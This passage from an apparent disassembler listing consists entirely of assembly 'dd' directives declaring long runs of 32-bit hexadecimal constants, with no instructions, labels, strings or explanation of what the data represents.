		dd 0B81C0C13h, 724F5930h, 8A903F2Bh, 87D4DE4Bh,	199DC9Dh
		dd 0AF1460F0h, 9729F100h, 2B43C813h, 58F26090h,	0B080B724h
		dd 4080385h, 78FCC09Fh,	699240BCh, 0A7882954h, 0A1CEC16h
		dd 41B02422h, 0C7CDA80h, 10C8AC84h, 954412D0h, 0B4A288C4h
		dd 5A3039E2h, 0FA310F8Dh, 534997B1h, 0BF41CC40h, 706F63E0h
		dd 0DE22D080h, 9EFD4300h, 3C361E44h, 0A8C56135h, 6E1A5446h
		dd 0F8CFEC0Dh, 23143B7Ah, 0EC240274h, 0CC446A16h, 0B352B700h
		dd 3CF80A46h, 40390085h, 2460497Bh, 0E1011E4Dh,	299481ABh
		dd 8805CDBEh, 6E0741D4h, 0FDDF15DDh, 4D042FC0h,	8CB937h
		dd 6F7B30DAh, 8A04FF70h, 0CFA2D24Ah, 7684E88Fh,	61D032CFh
		dd 54F4F636h, 17A49E51h, 5C180B30h, 0F013EC58h,	60819C90h
		dd 0CDFB0311h, 0C60E442h, 0D96C71A2h, 0E21836h,	6ECD2788h
		dd 4D98B28Ch, 0ED4C1973h, 882980E8h, 0B5797ED7h, 20919827h
		dd 3957689Ch, 348EC07h,	2C082CEh, 4E463C34h, 640891FCh
		dd 4300070Eh, 5C8FD4h, 0ADE19ED2h, 6FCA862Fh, 0C4B61401h
		dd 18408EFBh, 559DD188h, 9AF52700h, 95EFDE6Ah, 0C4013C44h
		dd 4AC53B52h, 0F46CD654h, 0C81B0E7Ch, 81B21E13h, 4878F2BCh
		dd 2B0B8598h, 8316A6ADh, 0C0C49E04h, 0C11A0C39h, 642E4A11h
		dd 9C313EEDh, 9FC568F2h, 64FB8700h, 0E7F930BAh,	0DFD8A0D4h
		dd 0E249E813h, 0BC9A5C13h, 0E60C17C0h, 0A827AA4Fh, 22E0E8A7h
		dd 0FB5707DEh, 7E1CBB91h, 0BFB5ED80h, 0D53F1BEAh, 2A9002CAh
		dd 7A85DF26h, 0DD1CA074h, 8A15802Bh, 40082338h,	0E891120Ah
		dd 0E630C8B4h, 0C8A769C9h, 0B67C34h, 8C97D6Ch, 49218357h
		dd 73F339h, 3918D858h, 2E37F111h, 430D65Bh, 0FD863BBCh
		dd 2CE91054h, 8E544C04h, 8BCA977h, 2FAA1C4Ah, 0AB4B8084h
		dd 396CD473h, 0A878F221h, 246454BCh, 1506CDh, 8C181601h
		dd 0C275D0F3h, 0F47A6704h, 4BC30FCh, 0F2ECC884h, 8804171Ch
		dd 0A1236C3Eh, 823A0Eh,	0B0FA9EDAh, 238613A5h, 0B6A8F028h
		dd 9806A42Ah, 0BE913F00h, 9E83656Eh, 0C3B40CF6h, 479033A9h
		dd 111A2021h, 47C7E3Ch,	84C46C1Fh, 1054E627h, 3BE47D5Ch
		dd 3E2D44h, 0C8F4791Ch,	6B48BC05h, 0A35908F9h, 0DA00FF18h
		dd 0AA402F02h, 0BFC6C0Ah, 0E458D033h, 78900850h, 778128B9h
		dd 0AB76E67Eh, 1B20327Bh, 59E8F90Bh, 1B1838h, 75181C3Fh
		dd 446E26A1h, 0F2210760h, 88084Eh, 9EFFF6F4h, 58F0472Bh
		dd 3C00285Bh, 0B0E4A1EAh
		dd 1BFD2D8Fh, 0A0390070h, 90441655h, 53C97490h,	5DF812E5h
		dd 0D51C045Fh, 5B94E42Bh, 0E9F5048Ch, 0B8E5451Ch, 0FE0AB0C8h
		dd 227300E9h, 39922C9Fh, 8073B89h, 0AA4B70A3h, 112B86C0h
		dd 76B8BEF4h, 96CF7B21h, 3CE40FDEh, 58132590h, 91382064h
		dd 10C4DC90h, 4304B014h, 0D03CE436h, 0AFAC9019h, 4888C529h
		dd 0CD4988E0h, 96EC1FCh, 0E72EF04Bh, 0B66A0408h, 0DFC6007Fh
		dd 4A51A161h, 0DE1BBC07h, 34A55731h, 2F900082h,	0DD49A920h
		dd 0F414C5D1h, 2BC0C24h, 54341E45h, 4A085839h, 0E23CE225h
		dd 0F80430D4h, 0DF204A00h, 8855ABBEh, 0D69C757Ah, 10CC1E78h
		dd 454A04DBh, 30A8CA5Ch, 1D543104h, 88008F42h, 0DF91C1DBh
		dd 1EA833C4h, 7C60C55Ch, 7EF4A46h, 0B595B16Ch, 2798208Eh
		dd 0AF05A331h, 0B87B01Bh, 0C0211CC0h, 44AD099Fh, 0E829438Ch
		dd 0A211109Dh, 628FBE80h, 343A5295h, 6BB48DF3h,	54FC888Bh
		dd 61304F59h, 0A9CD18h,	1650B991h, 303FCC31h, 2C7E449Ch
		dd 0FC909778h, 9388537Ch, 0B683A05Fh, 4B5090Fh,	0E4681148h
		dd 0C897EAC3h, 0C9CDB61Ch, 8490A670h, 2E004D1Eh, 0EB7EC836h
		dd 0BF2F977h, 0AF2A0163h, 3BD960D9h, 3601FC18h,	0F15E6517h
		dd 0E829F2B5h, 0A0D91F25h, 2CB4FC03h, 5E0BC203h, 21458428h
		dd 0F160F217h, 0FD0CCF7Bh, 0C445098h, 9A2724ECh, 258B3AB0h
		dd 18647963h, 144F6E28h, 48BE5707h, 5E63A7Eh, 77B60989h
		dd 0A47E641Ch, 0B48FE041h, 0F1B5418Bh, 542AE464h, 3315E81Ah
		dd 0B0D13Ch, 5DC99229h,	0C5D56A0Ah, 8D548F39h, 3A6C2DB4h
		dd 889A4402h, 0E303E172h, 0C3AD86CEh, 19AE0046h, 0C2ED840h
		dd 0CC968F05h, 0BA386063h, 9CF8AA92h, 71D94674h, 9845CA0Ah
		dd 7C161CECh, 50D00CB0h, 81AC583Ah, 5EE069FDh, 0F2EEC6Bh
		dd 0E554096Ch, 70886068h, 25031180h, 4D2D91Ch, 0B8D28115h
		dd 0E8D848C0h, 84098C75h, 818EADD6h, 928DE064h,	7907B6Eh
		dd 0CBA13E3h, 191176h, 14719927h, 2816D7DFh, 0CB4D8B8h
		dd 0EB501025h, 725724BDh, 50112510h, 0A4AC15F0h, 87189820h
		dd 0CF41DC1Bh, 0B0164ADEh, 0D713F2A4h, 0C42F2430h, 5100D523h
		dd 7C934AF9h, 11801B6h,	9D2370D4h, 482F7BC6h, 0DF00D823h
		dd 0FF8307B4h, 0BBF308BEh, 7E165C90h, 0D9F2C8A2h, 0B083130h
		dd 0F0F4779Ah, 6897A0FAh, 0B7A751C4h, 3D91BC1Dh, 0B5933880h
		dd 40959756h, 4A7B6358h, 2B54A0BDh, 30CE2820h, 0A191C690h
		dd 9805A0FDh, 9222E6E7h, 6E4B1CA2h, 0B6E000ACh,	3AA54CE4h
		dd 6A3EC428h, 0AE409460h, 8300A86Eh, 786381BCh,	960B492Ah
		dd 2877D4Bh, 0DF1F50h, 40D5042Fh, 71163894h, 9BC8088Bh
		dd 0D01075C7h, 0B78DC878h, 0C710F0A2h, 88A7D913h, 9CEC9C6Ch
		dd 1895128Ch, 3BC488AFh, 0CF875Ch, 3464908Fh, 20CDF4Bh
		dd 0DFAFE5Eh, 0A4FC4D14h, 5827C440h, 269F0053h,	13AA5769h
		dd 0A04A31EDh, 0D5FE3001h, 6E3F5AC3h, 0CD830074h, 84D6801h
		dd 53B12EABh, 8D380998h, 3C64CCC7h, 0A5C5D560h,	0CE70D238h
		dd 4C853809h, 70FCB144h, 3886CF76h, 4A00DE26h, 34DC424Dh
		dd 77242FC5h, 250800D9h, 0BC44050Ch, 178D0B7h, 0C63CA665h
		dd 0D423A4A3h, 0F2465Eh, 0C7BC77B2h, 0FA46FFE3h, 5C1401DEh
		dd 45910A3Eh, 8B4C3875h, 24A8512Bh, 0F2465C30h,	3D5D1F71h
		dd 9AB4C0D9h, 885A6C56h, 0FD642312h, 1E0154B9h,	5CCEDB8Eh
		dd 4B60382Ah, 3AE318B6h, 0C42EC6E8h, 90ED6A04h,	84A2A815h
		dd 8453E017h, 7ADCEC00h, 8C4600E9h, 0E87B4D13h,	10B8F74Bh
		dd 127FCDC8h, 1C647B62h, 92A71020h, 8CA8E0B9h, 0FAF29002h
		dd 0E6A01AB8h, 0B4461648h, 0CF90A0E3h, 25C085Dh, 0F2FC9742h
		dd 0D090B0EBh, 720926Fh, 19068AF9h, 49593023h, 2602447Dh
		dd 338C58DCh, 0F6D6E0B7h, 4D5425C5h, 0D8C45867h, 30422067h
		dd 0AE25F24Dh, 61C82069h, 43626B0h, 143380A2h, 2A2CC9FEh
		dd 77C8788Bh, 298C9FC0h, 866004Fh, 537FFAC3h, 0C12069D4h
		dd 1029E588h, 0B932D200h, 274D89C8h, 8DB72407h,	3B0041ADh
		dd 0FF8E11Ch, 1ED78E19h, 88048BD7h, 0C7A6C0D5h,	85003BB1h
		dd 945AF604h, 5F039014h, 0FA5C8CE4h, 8860A18Bh,	0B438DC31h
		dd 49F0731Eh, 14048ACCh, 1B4FD6Ah, 0AEF91510h, 25D84157h
		dd 32D700BEh, 56FC0203h, 0F2555963h, 90013090h,	0B525B4A4h
		dd 0A718A708h, 5E282069h, 0DA1EEh, 6E3A401Eh, 301D5AF4h
		dd 7F31F200h, 48F65829h, 17E1C045h, 8EC3AB59h, 7208D948h
		dd 7CE63140h, 38E55885h, 0E1F2B50Dh, 0C1883869h, 34F13C2Fh
		dd 528C6200h, 774EC140h, 0EDC20108h, 0E15A441h,	3C023EDFh
		dd 0A296CF4h, 947A25B0h, 104B7B7h, 75CD08E3h, 0C0CF2B11h
		dd 3DC03788h, 32AAC9Bh,	0DBA3A1FEh, 0D84B8A76h,	6A4F8C42h
		dd 910C5E33h, 10F278BDh, 6909809Eh, 0E11864FDh,	8742A711h
		dd 0E0F02069h, 91637CE0h, 6C220132h, 79CC044Ah,	20203B15h
		dd 7F114F4h, 0F7A302ECh, 7BD7A0B4h, 0C2025A5Ch,	0DE3BD966h
		dd 0BA84E94h, 0B60458F0h, 6E189C6Eh, 43590944h,	0CCE8952Dh
		dd 30113B6h, 889CF24Fh,	8B3BEBACh, 0C0F2C838h, 8402919h
		dd 0DD905C0Eh, 0F1B803ACh, 2EEDC179h, 58018C2Ch, 6B2D3C60h
		dd 1C8B10B3h, 48F700F5h, 0BE9ABBD1h, 797E82FFh,	25A16C63h
		dd 4E2CB063h, 0E9150124h, 8885BDD4h, 0DFB4F031h, 62054892h
		dd 33FD1E22h, 41060E6h,	8FEB8701h, 60F370F8h, 0A7E068B0h
		dd 12853C88h, 0E063C444h, 304A7984h, 24A90C24h,	94B0A922h
		dd 25DB8C22h, 0FCE60B3Bh, 3F1C7752h, 0FC306414h, 883005BFh
		dd 4BF0B83Bh, 2FCD68F4h, 8036B69Dh, 29CC8E5Ch, 389138E2h
		dd 41DABC50h, 4B1060C9h, 2A4C49Dh, 87FF14AAh, 0ACE8900Bh
		dd 7CA148F2h, 86002089h, 0E80B8C1Bh, 68FCE530h,	44A1358Ch
		dd 0EDA642Fh, 0B89517DCh, 79D1A4B0h, 220A57Fh, 0BF39A564h
		dd 0D20E5C01h, 4C0C20BEh, 0FC183E9Dh, 73E95214h, 287043A8h
		dd 39629042h, 819ECFE1h, 0AD9C5984h, 1410F079h,	0A54A1220h
		dd 642A7420h, 5EF0012Eh, 6852B0C0h, 0EE9180ADh,	0EA57BCF4h
		dd 882807A5h, 429BD2DEh, 18F4E42Bh, 6562B400h, 1BB65Ah
		dd 0C5FC31FDh, 0CC92E8DFh, 0FF6DD200h, 803B130Eh, 344932FBh
		dd 0BD806720h, 0FF9D879Bh, 31E1A300h, 3203208Fh, 581B1A49h
		dd 786081B1h, 75006EB8h, 3D11D00Ah, 103397h, 0CB06B7F0h
		dd 78393FB1h, 30483400h, 852065F9h, 310B04Fh, 4DEA9229h
		dd 0E0A7905Dh, 0F2872C17h, 94688C05h, 2BAACC1Dh, 9655A1ECh
		dd 50A4C020h, 3CF6F8F8h, 0A318B3C0h, 7F991866h,	0D39808DDh
		dd 0C6EB5F18h, 188E6D08h, 38F0C431h, 10BD3A26h,	120D2B1h
		dd 0B99E01A2h, 0A82010BDh, 3029B631h, 0C50191C8h, 0FA088C6Dh
		dd 408E18F9h, 0CD62CB07h, 33E0638h, 1038C4EBh, 6F84C061h
		dd 899830F6h, 8C43C04h,	0F4069E43h, 0A820201Bh,	4EE02051h
		dd 1822B231h, 0F3014C75h, 6351984Ah, 0C6DDD208h, 8B0C968h
		dd 1876AC31h, 8950AE2h,	0DD18841Fh, 0D65A1079h,	8AFE1CCh
		dd 0C1626416h, 0B83306D4h, 0EE673108h, 8CCACC78h, 282EB210h
		dd 84165FBh, 8DC4461Ch,	33310872h, 0C1713020h, 8C16BC01h
		dd 802BF10h, 99CCA8EEh,	5C08C4A5h, 0DC60675h, 0AAC8829h
		dd 0D308C405h, 0E1190649h, 321D3150h, 8B435E10h, 0ADF77208h
		dd 0FFF5C11Ch, 0F0A23D02h, 5603AAA4h, 4C081873h, 1DD820AEh
		dd 0A8519481h, 0EE010B5Ch
		dd 0A5C80208h, 804F8E98h, 0CA2A3039h, 0BBC433F8h, 3910C210h
		dd 6F2A6A9Fh, 979220E8h, 8716B31h, 51016526h, 42700189h
		dd 88F27E01h, 0ABCBA50h, 0B8841C3Eh, 0A1151062h, 6C3D8A4h
		dd 62106943h, 0C5BCF9ADh, 114C7C4Bh, 8A106381h,	7C281895h
		dd 2D120898h, 0C5F11380h, 4C560E28h, 9430DBC4h,	21BEB9CCh
		dd 0C190A888h, 6D08C617h, 3A3228D1h, 0A3CC08C6h, 3119E4FCh
		dd 34A97B20h, 9DA601D2h, 0B1309401h, 7B9349F1h,	1A0F1088h
		dd 0C57E208h, 0E8083166h, 91181365h, 0B851F84Ah, 20ABB28Ch
		dd 83D623Eh, 56028D2Bh,	28C0907h, 0D4A88F08h, 10CC0993h
		dd 444319DCh, 0F2836FD7h, 0FC180287h, 0C046AB05h, 3108FD76h
		dd 862060F1h, 89701AFh,	1058888Ah, 0EDC1BFD8h, 11288A4Bh
		dd 28AA804Dh, 496BE120h, 0F810DC6Dh, 26401873h,	818CE310h
		dd 0C9AC51D3h, 48109594h, 0E0F51080h, 10026210h, 45100A1Ah
		dd 8B15105Ah, 98B19D31h, 0C1088CD9h, 405E302Ah,	0DC63EB54h
		dd 5BD4618h, 0D2634808h, 65A08869h, 3CBF080Bh, 0ED782745h
		dd 44E4668Eh, 6DD70010h, 0D10F38D3h, 0CA0B467Ah, 0A5674094h
		dd 0C481A43Ch, 6FFC5ECBh, 9C860172h, 2D39F2BDh,	0EAFD08Ch
		dd 0E8B2B85Fh, 0B701C44Ch, 79027E6Eh, 0CFA5D814h, 50CEA772h
		dd 96EEE61Dh, 33FF7C98h, 0F2186E48h, 4B292FF8h,	0D591CA01h
		dd 4012F944h, 7641B880h, 0C311E645h, 0CCA51E0Ch, 0E4F740BDh
		dd 88A9C184h, 0E068F4A7h, 330FAF64h, 8051EDA5h,	0CFFAE9DBh
		dd 28A9609Bh, 0CB8A18B7h, 0C889082Dh, 0EB8F44h,	8C25488Bh
		dd 2DC54623h, 0DDD0881Eh, 324D200Eh, 0F524ACD7h, 10BB90B0h
		dd 0F7584A4h, 0CC9DBE1h, 5F91D901h, 0B69893ECh,	80B12BE1h
		dd 2DC7D619h, 3089D34h,	0DF5AC988h, 56836A1Ch, 0D301587Eh
		dd 0EB8C87E9h, 90E88A17h, 0A8E46293h, 0F8F01F27h, 0EB7C890Eh
		dd 10A64CA4h, 14B47887h, 3CD49216h, 2EE9F009h, 2525285Eh
		dd 6AC2F360h, 684808Ch,	1E642F12h, 0D27044B8h, 4CF8F448h
		dd 6AB6801h, 0B3CF2EE2h, 961F5C28h, 0DB120A97h,	345014F4h
		dd 28FA7E1Bh, 25046CE2h, 5B2803FBh, 901E8E4Ah, 71F3D46h
		dd 31B7898Ch, 60907C62h, 551970BCh, 0DF03F194h,	0A5987A83h
		dd 0B0C66Ch, 0E77BD192h, 0DA4A276Fh, 9D508A98h,	0FD015094h
		dd 0F26CF640h, 1C222EE1h, 5E86CF00h, 0A2F09FCEh, 0A18FF803h
		dd 38BB2DA5h, 7D306950h, 29704FB8h, 0D9941350h,	27592E00h
		dd 893B026Ah, 0CC820F14h, 0A099B490h, 0BC26F417h, 9327F8C5h
		dd 0D5469420h, 8890258Ch, 3141800h, 0E9730701h,	4F2A8F7Ch
		dd 0FA22DCBEh, 739C404Dh, 50D8C29Fh, 0F6790098h, 6A335857h
		dd 0E0C998EDh, 0FB04002Fh, 1EC705h, 9F08B0BEh, 1DEBA97Eh
		dd 0CEED9202h, 404D634Eh, 9F50990h, 0C3888F2Ah,	1927A424h
		dd 97C5A6A9h, 80174053h, 2DB3E5Dh, 0A4D81F9Dh, 5049E04Dh
		dd 33EC55D5h, 5000F010h, 0AC2C9905h, 607890ABh,	21E758D0h
		dd 0BC1CFF61h, 159C3031h, 847DE940h, 0C55BFB68h, 444827C8h
		dd 5189044h, 0F4B0C5FDh, 0C9EE0763h, 3527642Eh,	5AC48CAh
		dd 29D44708h, 90A51EC4h, 788B2498h, 18A3109h, 0A0C22584h
		dd 0B084E194h, 10EF6073h, 9E95D88Ah, 251DEAF8h,	0A049316h
		dd 40811F4Eh, 90308481h, 647804FEh, 90F79A88h, 4880F6C0h
		dd 868720Ah, 6309887Ch,	0DA3408F0h, 1C010B12h, 0D21AE5B7h
		dd 109A1DC1h, 10BBC8F2h, 0A7F0B805h, 0AC21EE90h, 3C32C008h
		dd 62C0C67Ah, 0F91D282Dh, 1709502Eh, 0CFE01013h, 0AC3448DFh
		dd 3FC9538h, 0BAD3FF2h,	2AB19028h, 0E98C41F4h, 846AC6h
		dd 604A0A82h, 2C9FF058h, 1CCDA7F8h, 0FC00FEE0h,	1DA8C26h
		dd 0E9F0312Fh, 22876914h, 7E4E0FD4h, 5CFF06FEh,	50D1C711h
		dd 0F01BA81Dh, 1584C138h, 5EBBA089h, 0CA0AF400h, 0F224AC2Eh
		dd 7C503C01h, 8F499D5h,	2500BBADh, 903F621Dh, 0A9052733h
		dd 0B87230C3h, 3BD41749h, 8FB59C11h, 225680BEh,	2ED7BE92h
		dd 967C0090h, 4527CBB0h, 7604233Eh, 595CA508h, 90D618D3h
		dd 5FA9654Bh, 5478C025h, 5930687Eh, 8EE8D8A1h, 0B85200C9h
		dd 274AD18Bh, 89068A46h, 0D80790C6h, 121602B8h,	581B1DBBh
		dd 8F09FC64h, 13FE339Ch, 144AD15Ch, 0A5238440h,	2866602Ah
		dd 0A9287453h, 0CC6D0624h, 49C5ED03h, 1EC1B0A1h, 0B9920323h
		dd 3E0751FBh, 3C64BBD0h, 327F100h, 4B453730h, 28909A5Fh
		dd 26D0E331h, 0A43CF613h, 0D0877AD0h, 0D60140F1h, 0A30835E1h
		dd 281075AFh, 78D100E8h, 0D06BC2D9h, 0E951908Ah, 0FC843008h
		dd 4250CF71h, 624CB8CCh, 8A0A01D4h, 141C5A0Dh, 4CCC822Ah
		dd 590380C6h, 0BDD0C242h, 1566D82Ah, 0BFB14CDh,	0C6069087h
		dd 5035C7CFh, 18A4BA0Ch, 58FA388Dh, 0F524C4C5h,	104EC710h
		dd 6FAA9AF4h, 63378A0Ah, 0CB2D4035h, 80AECA1Ch,	0A5275880h
		dd 2046810Bh, 7448B898h, 0D81189A4h, 31F92C44h,	0D0020F78h
		dd 7EA4A057h, 23353701h, 9B801525h, 306871FCh, 2AD082FCh
		dd 3A2EC72Dh, 4B00ED95h, 0C2CE645Ch, 639824A7h,	0DE901DE0h
		dd 50B0324Ch, 44298491h, 24488C8h, 0A5A83004h, 0F3025A24h
		dd 0E87CE250h, 34D6D022h, 812574C0h, 1E5974EBh,	172C893h
		dd 0EFD27ACDh, 0E190255Eh, 181DE048h, 8B08C0C5h, 47697402h
		dd 0E0888AE5h, 0F8649196h, 4057D480h, 5FD89587h, 0E0DFA525h
		dd 85550Ch, 0BD39117Ah,	1B4C4D34h, 0E020B509h, 89588429h
		dd 7692C080h, 0E57E053Eh, 92173A69h, 0A8817B44h, 0EAD59025h
		dd 0C09A7902h, 244E1Bh,	0F8A5E74Bh, 337DAF5Ah, 0A606809Bh
		dd 1D80DD32h, 286D96EAh, 0BC691528h, 1849C081h,	0F15384h
		dd 171CD229h, 0C26A0154h, 97A73D95h, 27A2402Fh,	31C49F53h
		dd 91053793h, 908420E9h, 0D8A04BF6h, 3790119h, 6B00F87Eh
		dd 92FCAC08h, 691EA4Fh,	792795BAh, 7379189Fh, 6A15EE0Bh
		dd 0A724E055h, 8C312C8Eh, 5D7C3A28h, 93003C0Ah,	4A6732B9h
		dd 5803151Ch, 0CA52AD0h, 49CFCA77h, 16B8518h, 0A3EB1578h
		dd 1CE86323h, 198201FFh, 5ED07381h, 5221640h, 5BED5FCh
		dd 82F05DECh, 6881ED94h, 0D80DC20Ah, 20B2C6E2h,	266908F1h
		dd 8010C9E4h, 81EB2592h, 66034AE3h, 108B0AAAh, 1C6A9E7h
		dd 6925B8C3h, 0D39010BDh, 68560Eh, 0F6EB732Dh, 0E4743C5Bh
		dd 0A51B08FCh, 0FF0310C3h, 0C0032250h, 9A9A9082h, 0D603194h
		dd 0F9BFF0h, 17E6EB29h,	128A27BBh, 1C6C1434h, 2A18D110h
		dd 84289045h, 445DD05Fh, 0EECC10A0h, 347A2673h,	0EC8F027Ch
		dd 0F8E08E8Bh, 904985D8h, 4C449374h, 8A35F7C2h,	0D85B1928h
		dd 0BC427918h, 0A480C0E1h, 0D02C6A9Fh, 0C9253BD8h, 58698C21h
		dd 82F072B7h, 0EBA3FCA6h, 0E190D02Ch, 218C0EFh,	8250F32h
		dd 0B7ED2A02h, 0C0481844h, 1A779F58h, 59EADD84h, 7C401C62h
		dd 3501BDF4h, 961D73B7h, 1080BB9Eh, 0A86D1B4Dh,	0D4B286A4h
		dd 90F31204h, 74D1B84Ah, 66CE2A6Ah, 9005FBFCh, 0A33327CCh
		dd 8C2529C0h, 62C6F3Ch,	43A4E684h, 0C33180D2h, 6E23F8ACh
		dd 90E11103h, 7E00CA24h, 39317829h, 4901FA28h, 0FFF1133Dh
		dd 2F8C8BBBh, 8080463h,	0C852D119h, 0B6000384h,	5C1B3FC6h
		dd 9F7D1Ah, 4E1ED591h, 0B77FDC4Ah, 2FBEF60Fh, 75C40FAh
		dd 55896887h, 0C800B0B4h, 7DD98B9Fh, 587C5CFBh,	9E880883h
		dd 64F31926h, 0E40B6D1Ch, 0AA780075h, 91264190h, 5758405Ch
		dd 4B0FF97Ah, 83718CBEh
		dd 0A00FAE48h, 3C823BA3h, 21A4906Bh, 0F8CA1438h, 6C42FB8Eh
		dd 605A1193h, 54B45F49h, 0CB5089D4h, 8E38B6E8h,	0CD510E8Ah
		dd 0AE23C584h, 0DCF0E0C7h, 2568ABB3h, 740F2FDEh, 8C0029EBh
		dd 0AC6A8D11h, 0CA979617h, 0B753000h, 30A528A1h, 6080B9F7h
		dd 7EE99078h, 0C8758000h, 18069DAEh, 5063F96Ah,	7800B85Fh
		dd 15A78F47h, 38BF02Bh,	90802585h, 3800671Eh, 48322146h
		dd 27CFF516h, 4C04F6C8h, 1EB481CEh, 0C3AC444Bh,	0F800A160h
		dd 6305FC17h, 0A2B2E7h,	4D409F08h, 0D803E199h, 7AB7A605h
		dd 0B612F05Ch, 0C308A831h, 0A4895828h, 7C61BC42h, 3FB0301Ah
		dd 86A5F600h, 0CFF79AF0h, 16824E2Ch, 312862B4h,	8C593062h
		dd 1ABD9085h, 834DC001h, 0FDF8CD13h, 0A0950527h, 801231DCh
		dd 41C07FC8h, 8D010D7Ch, 7E9A77D7h, 5AD2EDA5h, 33DA0258h
		dd 4721AA55h, 0D4172868h, 70701D81h, 70D76485h,	4F08A423h
		dd 0C5CC6812h, 0F25F4802h, 90DC53D9h, 90AC0805h, 8D0A40E7h
		dd 7E1F570Dh, 0BA72D3Ah, 4468323Ch, 3E873488h, 0B6800449h
		dd 4EE49C44h, 2821224Fh, 0F201E816h, 286439E9h,	0FC0BB4DFh
		dd 8BDA8C36h, 0F3D8A220h, 88660025h, 0A72CF6B0h, 52423C80h
		dd 30866E6h, 0E5EE6A27h, 103862BAh, 641A2E90h, 0B22B4F80h
		dd 5BCF9ECBh, 0B508C06Ah, 2A2A6B44h, 23425445h,	80DB2D18h
		dd 278003A5h, 0D7890032h, 1E4E853Bh, 0D002C1CAh, 339DA70Bh
		dd 12785992h, 64B00006h, 0A74E9690h, 706F6C99h,	9B178842h
		dd 537C0328h, 0D9D0CDCAh, 90A41143h, 0BF0775Ch,	40FDF569h
		dd 149838h, 4F84D253h, 0A4B96420h, 10D08C24h, 1CBE780h
		dd 20882ECh, 2E9847A5h,	43E313E2h, 0AA2F009Fh, 0ECB94E4Dh
		dd 0FFCA4A85h, 8B612888h, 32CBC018h, 286A16B0h,	7849B7Dh
		dd 82E5CDACh, 2A011E59h, 0E21490D8h, 0EA5540E8h, 4841C638h
		dd 0D0B30060h, 21CD2264h, 0A0880665h, 484E9368h, 0C9F26212h
		dd 35442871h, 9F660401h, 0E7151750h, 8867D214h,	27D63D23h
		dd 0D0A94018h, 0B4D25E00h, 0E8921189h, 0B7964C17h, 56556C04h
		dd 27B0D014h, 749EC73Eh, 0DA7EE34Eh, 0C2A5AB4Fh, 8068D2D1h
		dd 10B0F5F0h, 4614090h,	0A52FFD33h, 4C09E084h, 19000E5Bh
		dd 0DC287550h, 0F8195C88h, 0E865B94Ch, 0E8FFAC40h, 44F60537h
		dd 0D21F8190h, 99032D18h, 30D8421Ch, 65C2924h, 0D0582269h
		dd 0A51E5C09h, 8518E395h, 0BF00ACCEh, 0E9C32D0Dh, 70902FF6h
		dd 0CBAC5401h, 72CF06CCh, 2B73074h, 0B8871B4Ch,	50603E5Eh
		dd 7130A134h, 0E7F118ACh, 0CF370AE0h, 21B0A376h, 520760D0h
		dd 4C3C8BC7h, 90B40151h, 0DA5374BBh, 419D7020h,	0DD363056h
		dd 476A72Ch, 9880DC12h,	4832B761h, 0A4075814h, 0C77EBBB3h
		dd 0D19EE4A5h, 7099961Ch, 8016AEAh, 0BEF09106h,	87DC75F4h
		dd 2D69EC36h, 9C8288A3h, 0EA027D38h, 8268D0D8h,	6820557Ch
		dd 0BA58F87h, 2F540h, 6DE663FDh, 1301BFD2h, 180670A5h
		dd 8470CD8Ah, 0ED912DECh, 34D0243Ah, 421D4F09h,	5586911h
		dd 8D073463h, 0FF1E79A4h, 0D808BF09h, 0CDF41208h, 0B9838B8h
		dd 0A2342F27h, 50DC1D4h, 1A78C087h, 9C96C98Ah, 68828F65h
		dd 23A84048h, 365232A5h, 0F8C8F618h, 44903B13h,	0E2A9692Fh
		dd 92585828h, 0A1649A14h, 0F1800F44h, 15D91D54h, 0F8C06D0Eh
		dd 179E5570h, 0A1E6FC6Ah, 746303ACh, 0B8C0392Fh, 0C8258A1Fh
		dd 4C8CE884h, 2DE8B869h, 0B4102ECAh, 0F37E22F5h, 0F2D28802h
		dd 0E6583ECFh, 515CB054h, 2AF0C41Bh, 0C269062Ch, 0D00290A4h
		dd 0EB94891Dh, 0ED7E8FFEh, 4C0160C5h, 2E4547F3h, 18A488D8h
		dd 8EE7A0CBh, 0DAD4C650h, 7E085A1Fh, 8486B7C4h,	7372F8E6h
		dd 0D870CB15h, 7799405h, 319CE189h, 382C7746h, 94B68A20h
		dd 0CD495420h, 0C1FF0EE8h, 63AA8297h, 908E40Dh,	0CADF058h
		dd 2928D0D2h, 58B8F0A7h, 0D1F9BC30h, 585127C9h,	0AFC06CC5h
		dd 3B970E75h, 490DE400h, 0CF084BDAh, 0A4724920h, 591F2501h
		dd 0F3F3CA7Bh, 18013DABh, 0D276B720h, 10849C43h, 805EB9FFh
		dd 0D5531677h, 4B3E20B0h, 0B0B71262h, 6A14AC01h, 9842C6CAh
		dd 38696087h, 0F598C5E8h, 0CB33C750h, 100220C8h, 9FF11500h
		dd 0AD689AD0h, 5038C2FAh, 479FBA0h, 0C7060100h,	6489A2Bh
		dd 0F8CF0CC3h, 5C989051h, 2C573F20h, 1D748FECh,	800C8BB6h
		dd 0F590C0C8h, 0A80DA73Fh, 0E0008469h, 2E0CA082h, 1CBDD73h
		dd 477DABC7h, 4188DBCFh, 380691F8h, 0E9E30F40h,	0E674C057h
		dd 2C90699Ah, 8068A89Ch, 1C3FEC93h, 3CF8255Dh, 8000CE5Ch
		dd 157D20B1h, 308F0092h, 0FAB7EB12h, 0B0968C26h, 0B2A8F666h
		dd 9E88A024h, 23D6099Ah, 0F048AC88h, 0D55CA927h, 9040C9B0h
		dd 4A83CE20h, 31102834h, 480C05BDh, 5F2370C1h, 6ACCB074h
		dd 0C254A192h, 8868BC31h, 0A9F49095h, 8BB9EB00h, 8FF8A0D0h
		dd 84635DA7h, 33727A10h, 0A1B45044h, 59DE2A6Ch,	0DD4908FCh
		dd 0DAC5F400h, 9A5453A4h, 44EE006Ch, 0D0F2A977h, 0A703F3B6h
		dd 986A2F7Dh, 288309Ah,	94D0A891h, 0FDA56813h, 24CC2C92h
		dd 1DA0A029h, 67FF0100h, 8F777A7Eh, 299EF414h, 6D8CDDEh
		dd 10DF7269h, 0C22540B0h, 0F02C102Ch, 5FA00ABh,	0B441019Eh
		dd 5600B708h, 0FD07186Eh, 60F89058h, 1231E854h,	90941DBDh
		dd 0CF84A42Ch, 9CA8A4E6h, 320BA2Ch, 9E7FEEDDh, 8405285Fh
		dd 0B024654Dh, 948C14C4h, 503548F4h, 90E7F600h,	246A69C7h
		dd 3A68CE61h, 0F0F41E4Dh, 0AA1D0F3Ch, 1AE5339Dh, 7564B7DDh
		dd 10C8054Dh, 34B3980h,	85FA6FCh, 1FC01049h, 2F89FC32h
		dd 0EEF8C4CDh, 4C4D28A4h, 0AC5A5850h, 0B194F900h, 0F43058EFh
		dd 8F0B667Ah, 3823191h,	0F9FC8408h, 58C1E56Fh, 0B72FE429h
